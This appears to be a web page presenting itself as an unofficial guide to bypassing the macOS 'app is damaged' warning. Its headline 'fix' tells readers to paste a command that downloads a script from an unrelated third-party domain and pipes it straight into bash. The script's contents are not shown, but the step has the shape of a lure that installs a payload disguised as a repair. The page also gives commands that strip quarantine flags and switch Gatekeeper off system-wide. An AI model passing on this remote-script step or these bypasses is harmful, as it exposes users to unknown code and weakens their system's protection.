How to Bypass the “App Is Damaged” Warning on Mac
“Bypass” here means getting past a failed trust check without reinstalling the app. Four routes work, ranked from narrowest to broadest. The last one disables Gatekeeper system-wide and should be treated as temporary.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
sudo xattr -d com.apple.quarantine "/Applications/Your App.app"
Removes one attribute, leaves everything else intact. The least invasive bypass.
sudo xattr -cr "/Applications/Your App.app"
Use when the narrow form is refused or the flag sits deeper in the bundle. Also removes Finder tags.
sudo spctl --master-disable
Turns Gatekeeper off for all apps. Remember to re-enable it afterwards.
sudo spctl --master-enable
Restores the normal policy. Do this as soon as the app has launched once.
The four routes, ranked
- Open Anyway in Settings. No Terminal. Works for unsigned but intact apps. Reversible by removing the approval.
xattr -d com.apple.quarantine. One attribute, one app. The best balance for a trusted download.xattr -cr. Same idea with a wider brush. Use it only when the narrow form does not stick.spctl --master-disable. Gatekeeper off for the whole system. Broadest and least precise.
/Applications first; running from a mounted disk image causes new failures.Why the warning appears at all
Gatekeeper sees the quarantine flag, compares the signature, and cannot confirm the app. The usual reasons are an expired or ad-hoc certificate, a bundle modified after signing, or a transfer that truncated the archive. Bypassing the check does not repair any of that — it only lets the app start.
If the app then crashes on launch, the bypass succeeded but the bundle is genuinely broken; re-download it.
Temporarily disabling Gatekeeper
- Run
sudo spctl --master-disableand authenticate. - Open the app once.
- Quit it and run
sudo spctl --master-enable. - Confirm the state with
spctl --status— it should say “assessments enabled”.
What each route does not fix
- Open Anyway — does not clear the flag; the app is approved once, not repaired.
- xattr — does not help an expired certificate or a truncated download.
- spctl --master-disable — hides every Gatekeeper problem, including ones you would want to see.
If all four fail, the bundle is broken. Re-download and unpack with Archive Utility before trying again.
Check before you bypass
For an unfamiliar app, run spctl -a -vv and codesign -dv --verbose=4 first. A valid Developer ID and an “accepted” verdict mean the bypass is low risk. “Not signed at all” on a file from a stranger is worth a pause.
Background on the diagnostics is in Is it really damaged?
Frequently asked questions
Does bypassing damage anything?
Does xattr -cr require a restart?
Is spctl --master-disable permanent?
Why does the app still fail after bypass?
Can I bypass on macOS Sequoia?
Does the quarantine flag come back?
This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.